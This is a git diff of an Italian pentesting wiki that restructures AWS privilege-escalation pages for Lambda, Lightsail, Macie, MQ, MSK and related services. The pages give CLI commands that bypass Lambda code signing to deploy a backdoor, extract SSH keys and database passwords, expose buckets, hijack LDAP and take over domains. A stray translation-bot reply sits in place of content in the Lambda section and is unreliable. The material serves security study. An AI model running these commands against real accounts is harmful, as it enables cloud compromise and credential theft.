-Forse con quei permessi puoi creare una funzione ed eseguirla chiamando l'URL... però non sono riuscito a trovare un modo per testarlo, quindi fammi sapere se ci riesci!
+Forse con questi permessi puoi creare una funzione ed eseguirla chiamando l'URL... non sono riuscito a trovare un modo per testarlo, quindi fammi sapere se ci riesci!
 
 ### Lambda MitM
 
-Alcune lambdas riceveranno **informazioni sensibili dagli utenti nei parametri.** Se ottieni RCE in una di esse, puoi esfiltrare le informazioni che altri utenti le inviano; controlla in:
+Alcune lambda stanno **ricevendo informazioni sensibili dagli utenti nei parametri.** Se ottieni RCE in una di esse, puoi exfiltrate le informazioni che altri utenti le inviano; controlla in:
 
 {{#ref}}
-../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
 {{#endref}}
 
 ## Riferimenti
@@ -255,21 +255,21 @@ Alcune lambdas riceveranno **informazioni sensibili dagli utenti nei parametri.*
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 
 
 
-### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass del Code Signing di Lambda
+### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
 
-Se una funzione Lambda applica il code signing, un attaccante che può rimuovere la Code Signing Config (CSC) o downgradarla a Warn può distribuire codice non firmato nella funzione. Questo bypassa le protezioni di integrità senza modificare il ruolo IAM della funzione o i trigger.
+Se una Lambda function impone il code signing, un attaccante che può rimuovere la Code Signing Config (CSC) o degradarla a Warn può deployare codice non firmato nella function. Questo bypassa le protezioni di integrità senza modificare l'IAM role della function o i trigger.
 
 Permessi (uno dei seguenti):
 - Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
 - Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
 
 Note:
-- Per il Path B, non serve un profilo AWS Signer se la policy CSC è impostata su `WARN` (artefatti non firmati consentiti).
+- Per Path B, non serve un AWS Signer profile se la policy CSC è impostata su `WARN` (unsigned artifacts allowed).
 
 Passaggi (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
 
@@ -282,7 +282,7 @@ return {"pwn": True, "env": list(os.environ)[:6]}
 PY
 zip backdoor.zip handler.py
 ```
-Percorso A) Rimuovi CSC poi aggiorna il codice:
+Percorso A) Rimuovere CSC e aggiornare il codice:
 ```bash
 aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
 if [ "$HAS_CSC" -eq 1 ]; then
@@ -292,7 +292,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
 # If the handler name changed, also run:
 aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
 ```
-Percorso B) Ridurre il livello a Warn e aggiornare il codice (se l'eliminazione non è consentita):
+Percorso B) Riduci il livello a Warn e aggiorna il codice (se la cancellazione non è consentita):
 ```bash
 CSC_ARN=$(aws lambda create-code-signing-config \
 --description ht-warn-csc \
@@ -303,12 +303,12 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
 # If the handler name changed, also run:
 aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
 ```
-Per favore fornisci il contenuto del file src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md che vuoi tradurre o specifica esattamente cosa devo verificare.
+Pronto. Per favore incolla il contenuto di src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md che vuoi che traduca. Tradurrò il testo rilevante in italiano rispettando le regole: non tradurrò codice, nomi tecnici, parole comuni di hacking, nomi di cloud/SaaS, link, tag o path.
 ```bash
 aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
 cat /tmp/out.json
 ```
-Impatto potenziale: Capacità di caricare ed eseguire codice arbitrario non firmato in una funzione che avrebbe dovuto imporre deployment firmati, potenzialmente portando all'esecuzione di codice con i permessi del ruolo della funzione.
+Impatto potenziale: possibilità di caricare ed eseguire codice arbitrario non firmato in una funzione che avrebbe dovuto imporre deployment firmati, potenzialmente portando all'esecuzione di codice con le autorizzazioni del ruolo della funzione.
 
 Pulizia:
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
deleted file mode 100644
index 1d64e1528..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ /dev/null
@@ -1,136 +0,0 @@
-# AWS - Lightsail Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Per ulteriori informazioni su Lightsail controlla:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-> [!WARNING]
-> È importante notare che Lightsail **non utilizza i ruoli IAM appartenenti all'utente** ma a un account gestito da AWS, quindi non puoi abusare di questo servizio per privesc. Tuttavia, **dati sensibili** come codice, chiavi API e informazioni sul database potrebbero essere trovati in questo servizio.
-
-### `lightsail:DownloadDefaultKeyPair`
-
-Questo permesso ti permetterà di ottenere le chiavi SSH per accedere alle istanze:
-```
-aws lightsail download-default-key-pair
-```
-**Impatto Potenziale:** Trova informazioni sensibili all'interno delle istanze.
-
-### `lightsail:GetInstanceAccessDetails`
-
-Questo permesso ti permetterà di generare chiavi SSH per accedere alle istanze:
-```bash
-aws lightsail get-instance-access-details --instance-name <instance_name>
-```
-**Impatto Potenziale:** Trovare informazioni sensibili all'interno delle istanze.
-
-### `lightsail:CreateBucketAccessKey`
-
-Questo permesso ti permetterà di ottenere una chiave per accedere al bucket:
-```bash
-aws lightsail create-bucket-access-key --bucket-name <name>
-```
-**Impatto Potenziale:** Trova informazioni sensibili all'interno del bucket.
-
-### `lightsail:GetRelationalDatabaseMasterUserPassword`
-
-Questo permesso ti permetterà di ottenere le credenziali per accedere al database:
-```bash
-aws lightsail get-relational-database-master-user-password --relational-database-name <name>
-```
-**Impatto Potenziale:** Trovare informazioni sensibili all'interno del database.
-
-### `lightsail:UpdateRelationalDatabase`
-
-Questo permesso ti permetterà di cambiare la password per accedere al database:
-```bash
-aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
-```
-Se il database non è pubblico, puoi anche renderlo pubblico con queste autorizzazioni con
-```bash
-aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
-```
-**Impatto Potenziale:** Trovare informazioni sensibili all'interno del database.
-
-### `lightsail:OpenInstancePublicPorts`
-
-Questo permesso consente di aprire porte su Internet.
-```bash
-aws lightsail open-instance-public-ports \
---instance-name MEAN-2 \
---port-info fromPort=22,protocol=TCP,toPort=22
-```
-**Impatto Potenziale:** Accesso a porte sensibili.
-
-### `lightsail:PutInstancePublicPorts`
-
-Questo permesso consente di aprire porte su Internet. Nota che la chiamata chiuderà qualsiasi porta aperta non specificata in essa.
-```bash
-aws lightsail put-instance-public-ports \
---instance-name MEAN-2 \
---port-infos fromPort=22,protocol=TCP,toPort=22
-```
-**Impatto Potenziale:** Accesso a porte sensibili.
-
-### `lightsail:SetResourceAccessForBucket`
-
-Questa autorizzazione consente di dare a un'istanza accesso a un bucket senza credenziali aggiuntive.
-```bash
-aws set-resource-access-for-bucket \
---resource-name <instance-name> \
---bucket-name <bucket-name> \
---access allow
-```
-**Impatto Potenziale:** Potenziale nuovo accesso a bucket con informazioni sensibili.
-
-### `lightsail:UpdateBucket`
-
-Con questo permesso un attaccante potrebbe concedere al proprio account AWS accesso in lettura sui bucket o addirittura rendere i bucket pubblici per tutti:
-```bash
-# Grant read access to exterenal account
-aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
-
-# Grant read to the public
-aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
-
-# Bucket private but single objects can be public
-aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
-```
-**Impatto Potenziale:** Potenziale nuovo accesso a bucket con informazioni sensibili.
-
-### `lightsail:UpdateContainerService`
-
-Con questi permessi un attaccante potrebbe concedere accesso a ECR privati dal servizio container.
-```bash
-aws update-container-service \
---service-name <name> \
---private-registry-access ecrImagePullerRole={isActive=boolean}
-```
-**Impatto Potenziale:** Ottenere informazioni sensibili da ECR privato
-
-### `lightsail:CreateDomainEntry`
-
-Un attaccante con questo permesso potrebbe creare un sottodominio e puntarlo al proprio indirizzo IP (presa di sottodominio), o creare un record SPF che gli consente di falsificare email dal dominio, o addirittura impostare il dominio principale sul proprio indirizzo IP.
-```bash
-aws lightsail create-domain-entry \
---domain-name example.com \
---domain-entry name=dev.example.com,type=A,target=192.0.2.0
-```
-**Impatto Potenziale:** Prendere il controllo di un dominio
-
-### `lightsail:UpdateDomainEntry`
-
-Un attaccante con questo permesso potrebbe creare un sottodominio e puntarlo al proprio indirizzo IP (presa di controllo del sottodominio), o creare un record SPF che gli consente di falsificare email dal dominio, o addirittura impostare il dominio principale al proprio indirizzo IP.
-```bash
-aws lightsail update-domain-entry \
---domain-name example.com \
---domain-entry name=dev.example.com,type=A,target=192.0.2.0
-```
-**Impatto Potenziale:** Prendere il controllo di un dominio
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
new file mode 100644
index 000000000..5d8301c3f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
@@ -0,0 +1,136 @@
+# AWS - Lightsail Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Per maggiori informazioni su Lightsail consulta:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+> [!WARNING]
+> È importante notare che Lightsail **non usa IAM roles appartenenti all'utente** ma un account gestito da AWS, quindi non puoi abusare di questo servizio per privesc. Tuttavia, **dati sensibili** come code, API keys e informazioni sul database potrebbero essere trovati in questo servizio.
+
+### `lightsail:DownloadDefaultKeyPair`
+
+Questa autorizzazione ti permetterà di ottenere le SSH keys per accedere alle istanze:
+```
+aws lightsail download-default-key-pair
+```
+**Impatto potenziale:** Trovare informazioni sensibili all'interno delle istanze.
+
+### `lightsail:GetInstanceAccessDetails`
+
+Questa autorizzazione ti permetterà di generare chiavi SSH per accedere alle istanze:
+```bash
+aws lightsail get-instance-access-details --instance-name <instance_name>
+```
+**Impatto potenziale:** Trovare informazioni sensibili all'interno delle istanze.
+
+### `lightsail:CreateBucketAccessKey`
+
+Questa autorizzazione ti permetterà di ottenere una chiave per accedere al bucket:
+```bash
+aws lightsail create-bucket-access-key --bucket-name <name>
+```
+**Impatto potenziale:** Trovare informazioni sensibili all'interno del bucket.
+
+### `lightsail:GetRelationalDatabaseMasterUserPassword`
+
+Questa autorizzazione ti permetterà di ottenere le credenziali per accedere al database:
+```bash
+aws lightsail get-relational-database-master-user-password --relational-database-name <name>
+```
+**Impatto potenziale:** Trovare informazioni sensibili all'interno del database.
+
+### `lightsail:UpdateRelationalDatabase`
+
+Questa autorizzazione ti consentirà di cambiare la password per accedere al database:
+```bash
+aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
+```
+Se il database non è pubblico, potresti anche renderlo pubblico con queste autorizzazioni
+```bash
+aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
+```
+**Impatto potenziale:** Trovare informazioni sensibili all'interno del database.
+
+### `lightsail:OpenInstancePublicPorts`
+
+Questa autorizzazione consente di aprire porte verso Internet.
+```bash
+aws lightsail open-instance-public-ports \
+--instance-name MEAN-2 \
+--port-info fromPort=22,protocol=TCP,toPort=22
+```
+**Impatto potenziale:** Accesso a porte sensibili.
+
+### `lightsail:PutInstancePublicPorts`
+
+Questa autorizzazione consente di aprire porte verso Internet. Nota che la chiamata chiuderà qualsiasi porta aperta non specificata.
+```bash
+aws lightsail put-instance-public-ports \
+--instance-name MEAN-2 \
+--port-infos fromPort=22,protocol=TCP,toPort=22
+```
+**Impatto potenziale:** Accesso a porte sensibili.
+
+### `lightsail:SetResourceAccessForBucket`
+
+Questa autorizzazione consente di concedere a un'istanza l'accesso a un bucket senza credenziali aggiuntive
+```bash
+aws set-resource-access-for-bucket \
+--resource-name <instance-name> \
+--bucket-name <bucket-name> \
+--access allow
+```
+**Potenziale impatto:** Possibile nuovo accesso ai buckets contenenti informazioni sensibili.
+
+### `lightsail:UpdateBucket`
+
+Con questo permesso un attacker potrebbe concedere al proprio account AWS l'accesso in lettura ai buckets o addirittura rendere i buckets pubblici per tutti:
+```bash
+# Grant read access to exterenal account
+aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
+
+# Grant read to the public
+aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
+
+# Bucket private but single objects can be public
+aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
+```
+**Impatto potenziale:** Possibile nuovo accesso a buckets contenenti informazioni sensibili.
+
+### `lightsail:UpdateContainerService`
+
+Con questa permission un attacker potrebbe concedere accesso a ECR privati dal containers service
+```bash
+aws update-container-service \
+--service-name <name> \
+--private-registry-access ecrImagePullerRole={isActive=boolean}
+```
+**Impatto potenziale:** Ottenere informazioni sensibili da ECR privato
+
+### `lightsail:CreateDomainEntry`
+
+Un attacker con questo permesso potrebbe creare un sottodominio e puntarlo al proprio indirizzo IP (subdomain takeover), o creare un record SPF che gli permette di falsificare email dal dominio, o persino impostare il dominio principale sul proprio indirizzo IP.
+```bash
+aws lightsail create-domain-entry \
+--domain-name example.com \
+--domain-entry name=dev.example.com,type=A,target=192.0.2.0
+```
+**Impatto potenziale:** Prendere il controllo di un dominio
+
+### `lightsail:UpdateDomainEntry`
+
+Un attaccante con questa autorizzazione potrebbe creare sottodomini e puntarli al proprio indirizzo IP (subdomain takeover), oppure creare un SPF record che gli consenta di spoofare email dal dominio, o persino impostare il dominio principale sul proprio indirizzo IP.
+```bash
+aws lightsail update-domain-entry \
+--domain-name example.com \
+--domain-entry name=dev.example.com,type=A,target=192.0.2.0
+```
+**Impatto potenziale:** Takeover di un dominio
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
deleted file mode 100644
index eae7fc132..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
+++ /dev/null
@@ -1,38 +0,0 @@
-# AWS - Macie Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Macie
-
-Per ulteriori informazioni su Macie controlla:
-
-{{#ref}}
-../aws-services/aws-macie-enum.md
-{{#endref}}
-
-### Amazon Macie - Bypass `Reveal Sample` Integrity Check
-
-AWS Macie è un servizio di sicurezza che rileva automaticamente dati sensibili all'interno degli ambienti AWS, come credenziali, informazioni personali identificabili (PII) e altri dati riservati. Quando Macie identifica una credenziale sensibile, come una chiave segreta AWS memorizzata in un bucket S3, genera un finding che consente al proprietario di visualizzare un "campione" dei dati rilevati. Tipicamente, una volta che il file sensibile è stato rimosso dal bucket S3, ci si aspetta che il segreto non possa più essere recuperato.
-
-Tuttavia, è stato identificato un **bypass** in cui un attaccante con permessi sufficienti può **ri-caricare un file con lo stesso nome** ma contenente dati fittizi diversi e non sensibili. Questo fa sì che Macie associ il file appena caricato con il finding originale, consentendo all'attaccante di utilizzare la **funzione "Reveal Sample"** per estrarre il segreto precedentemente rilevato. Questo problema rappresenta un rischio significativo per la sicurezza, poiché i segreti che si presumevano eliminati rimangono recuperabili tramite questo metodo.
-
-![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
-
-**Steps To Reproduce:**
-
-1. Carica un file (ad es., `test-secret.txt`) in un bucket S3 con dati sensibili, come una chiave segreta AWS. Aspetta che AWS Macie scansiona e genera un finding.
-
-2. Naviga verso i Findings di AWS Macie, individua il finding generato e utilizza la funzione **Reveal Sample** per visualizzare il segreto rilevato.
-
-3. Elimina `test-secret.txt` dal bucket S3 e verifica che non esista più.
-
-4. Crea un nuovo file chiamato `test-secret.txt` con dati fittizi e ri-caricalo nello stesso bucket S3 utilizzando **l'account dell'attaccante**.
-
-5. Torna ai Findings di AWS Macie, accedi al finding originale e clicca di nuovo su **Reveal Sample**.
-
-6. Osserva che Macie rivela ancora il segreto originale, nonostante il file sia stato eliminato e sostituito con contenuti diversi **da account diversi, nel nostro caso sarà l'account dell'attaccante**.
-
-**Summary:**
-
-Questa vulnerabilità consente a un attaccante con permessi IAM AWS sufficienti di recuperare segreti precedentemente rilevati anche dopo che il file originale è stato eliminato da S3. Se una chiave segreta AWS, un token di accesso o un'altra credenziale sensibile viene esposta, un attaccante potrebbe sfruttare questo difetto per recuperarla e ottenere accesso non autorizzato alle risorse AWS. Questo potrebbe portare a un'escalation dei privilegi, accesso non autorizzato ai dati o ulteriore compromissione delle risorse cloud, con conseguenti violazioni dei dati e interruzioni del servizio.
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
new file mode 100644
index 000000000..bf6a2be70
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
@@ -0,0 +1,38 @@
+# AWS - Macie Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Macie
+
+Per maggiori informazioni su Macie consulta:
+
+{{#ref}}
+../../aws-services/aws-macie-enum.md
+{{#endref}}
+
+### Amazon Macie - Bypass `Reveal Sample` Integrity Check
+
+AWS Macie è un servizio di sicurezza che rileva automaticamente dati sensibili all'interno degli ambienti AWS, come credenziali, informazioni identificabili personalmente (PII) e altri dati riservati. Quando Macie identifica una credenziale sensibile, come una AWS secret key memorizzata in un bucket S3, genera un finding che permette al proprietario di visualizzare un "sample" dei dati rilevati. Tipicamente, una volta che il file sensibile viene rimosso dal bucket S3, ci si aspetta che il secret non possa più essere recuperato.
+
+Tuttavia, è stato identificato un **bypass** in cui un attacker con permessi sufficienti può **re-upload a file with the same name** ma contenente dati fittizi diversi e non sensibili. Questo fa sì che Macie associ il file appena caricato al finding originale, permettendo all'attacker di utilizzare la **"Reveal Sample" feature** per estrarre il secret precedentemente rilevato. Questo problema rappresenta un significativo rischio per la sicurezza, poiché secret che si ritenevano cancellati restano recuperabili tramite questo metodo.
+
+![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
+
+**Steps To Reproduce:**
+
+1. Upload a file (e.g., `test-secret.txt`) to an S3 bucket with sensitive data, such as an AWS secret key. Wait for AWS Macie to scan and generate a finding.
+
+2. Navigate to AWS Macie Findings, locate the generated finding, and use the **Reveal Sample** feature to view the detected secret.
+
+3. Delete `test-secret.txt` from the S3 bucket and verify that it no longer exists.
+
+4. Create a new file named `test-secret.txt` with dummy data and re-upload it to the same S3 bucket using **attacker's account**.
+
+5. Return to AWS Macie Findings, access the original finding, and click **Reveal Sample** again.
+
+6. Observe that Macie still reveals the original secret, despite the file being deleted and replaced with different content **from different accounts, in our case it will be the attacker's account**.
+
+**Summary:**
+
+Questa vulnerabilità permette a un attacker con sufficienti permessi AWS IAM di recuperare secret precedentemente rilevati anche dopo che il file originale è stato eliminato da S3. Se una AWS secret key, un access token o altre credenziali sensibili vengono esposte, un attacker potrebbe sfruttare questa falla per recuperarle e ottenere accesso non autorizzato alle risorse AWS. Ciò potrebbe portare a privilege escalation, accesso non autorizzato ai dati o ulteriore compromissione degli asset cloud, con conseguenti data breaches e interruzioni di servizio.
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
similarity index 55%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
index 4458e3ee2..6e3ee281c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
@@ -1,16 +1,16 @@
 # AWS - Mediapackage Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### `mediapackage:RotateChannelCredentials`
 
-Cambia il nome utente e la password del primo IngestEndpoint del canale. (Questa API è deprecata per RotateIngestEndpointCredentials)
+Modifica lo username e la password del primo IngestEndpoint del Channel. (Questa API è deprecata in favore di RotateIngestEndpointCredentials)
 ```bash
 aws mediapackage rotate-channel-credentials --id <value>
 ```
 ### `mediapackage:RotateIngestEndpointCredentials`
 
-Cambia il nome utente e la password del primo IngestEndpoint del Canale. (Questa API è deprecata per RotateIngestEndpointCredentials)
+Modifica lo username e la password del primo IngestEndpoint del Channel. (Questa API è deprecata per RotateIngestEndpointCredentials)
 ```bash
 aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
 ```
@@ -18,4 +18,4 @@ aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
deleted file mode 100644
index 64b95ce39..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# AWS - MQ Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## MQ
-
-Per ulteriori informazioni su MQ controlla:
-
-{{#ref}}
-../aws-services/aws-mq-enum.md
-{{#endref}}
-
-### `mq:ListBrokers`, `mq:CreateUser`
-
-Con questi permessi puoi **creare un nuovo utente in un broker ActimeMQ** (questo non funziona in RabbitMQ):
-```bash
-aws mq list-brokers
-aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
-```
-**Impatto Potenziale:** Accesso a informazioni sensibili navigando attraverso ActiveMQ
-
-### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
-
-Con questi permessi puoi **creare un nuovo utente in un broker ActimeMQ** (questo non funziona in RabbitMQ):
-```bash
-aws mq list-brokers
-aws mq list-users --broker-id <value>
-aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
-```
-**Impatto Potenziale:** Accesso a informazioni sensibili navigando attraverso ActiveMQ
-
-### `mq:ListBrokers`, `mq:UpdateBroker`
-
-Se un broker utilizza **LDAP** per l'autorizzazione con **ActiveMQ**. È possibile **cambiare** la **configurazione** del server LDAP utilizzato in **uno controllato dall'attaccante**. In questo modo l'attaccante sarà in grado di **rubare tutte le credenziali inviate tramite LDAP**.
-```bash
-aws mq list-brokers
-aws mq update-broker --broker-id <value> --ldap-server-metadata=...
-```
-Se in qualche modo riuscissi a trovare le credenziali originali utilizzate da ActiveMQ, potresti eseguire un MitM, rubare le credenziali, utilizzarle nel server originale e inviare la risposta (forse semplicemente riutilizzando le credenziali rubate potresti farlo).
-
-**Impatto Potenziale:** Rubare le credenziali di ActiveMQ
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
new file mode 100644
index 000000000..8855559af
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
@@ -0,0 +1,43 @@
+# AWS - MQ Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## MQ
+
+Per maggiori informazioni su MQ consulta:
+
+{{#ref}}
+../../aws-services/aws-mq-enum.md
+{{#endref}}
+
+### `mq:ListBrokers`, `mq:CreateUser`
+
+Con questi permessi puoi **creare un nuovo utente in un broker ActimeMQ** (questo non funziona in RabbitMQ):
+```bash
+aws mq list-brokers
+aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
+```
+**Potenziale Impatto:** Accedere a informazioni sensibili navigando attraverso ActiveMQ
+
+### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
+
+Con questi permessi puoi **creare un nuovo utente in un ActimeMQ broker** (questo non funziona in RabbitMQ):
+```bash
+aws mq list-brokers
+aws mq list-users --broker-id <value>
+aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
+```
+**Impatto potenziale:** Accedere a informazioni sensibili navigando tramite ActiveMQ
+
+### `mq:ListBrokers`, `mq:UpdateBroker`
+
+Se un broker utilizza **LDAP** per l'autorizzazione con **ActiveMQ**, è possibile **modificare** la **configurazione** del server LDAP utilizzato per indirizzarla su **uno controllato dall'attaccante**. In questo modo l'attaccante sarà in grado di **rubare tutte le credenziali inviate tramite LDAP**.
+```bash
+aws mq list-brokers
+aws mq update-broker --broker-id <value> --ldap-server-metadata=...
+```
+Se in qualche modo riuscissi a trovare le credentials originali utilizzate da ActiveMQ, potresti eseguire un MitM, rubare le creds, usarle sul server originale e inviare la risposta (forse basterebbe riutilizzare le credentials rubate per farlo).
+
+**Potential Impact:** Rubare le credentials di ActiveMQ
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
deleted file mode 100644
index dfd9ea2e2..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# AWS - MSK Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## MSK
-
-Per ulteriori informazioni su MSK (Kafka) controlla:
-
-{{#ref}}
-../aws-services/aws-msk-enum.md
-{{#endref}}
-
-### `msk:ListClusters`, `msk:UpdateSecurity`
-
-Con questi **privilegi** e **accesso alla VPC dove si trovano i broker kafka**, potresti aggiungere l'**autenticazione None** per accedervi.
-```bash
-aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
-```
-È necessario avere accesso alla VPC perché **non puoi abilitare l'autenticazione None con Kafka esposto pubblicamente**. Se è esposto pubblicamente, se viene utilizzata l'autenticazione **SASL/SCRAM**, potresti **leggere il segreto** per accedere (avrai bisogno di privilegi aggiuntivi per leggere il segreto).\
-Se viene utilizzata l'autenticazione basata su **ruolo IAM** e **kafka è esposto pubblicamente**, potresti comunque abusare di questi privilegi per darti permessi per accedervi.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
new file mode 100644
index 000000000..bb3bc4ee4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
@@ -0,0 +1,22 @@
+# AWS - MSK Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## MSK
+
+Per maggiori informazioni su MSK (Kafka) consulta:
+
+{{#ref}}
+../../aws-services/aws-msk-enum.md
+{{#endref}}
+
+### `msk:ListClusters`, `msk:UpdateSecurity`
+
+Con questi **privilegi** e **l'accesso alla VPC dove si trovano i broker Kafka**, puoi aggiungere la **None authentication** per accedervi.
+```bash
+aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
+```
+Hai bisogno di accesso alla VPC perché **non puoi abilitare None authentication con Kafka esposto pubblicamente**. Se è esposto pubblicamente, se viene usata l'autenticazione **SASL/SCRAM**, potresti **read the secret** per accedere (avrai bisogno di privilegi aggiuntivi per read the secret).\  
+Se viene usata **IAM role-based authentication** e **kafka is publicly exposed** potresti comunque abusare di questi privilegi per darti i permessi per accedervi.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
deleted file mode 100644
index 2796e251a..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# AWS - Organizations Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Organizzazioni
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-## Dall'account di gestione agli account figli
-
-Se comprometti l'account root/di gestione, è probabile che tu possa compromettere tutti gli account figli.\
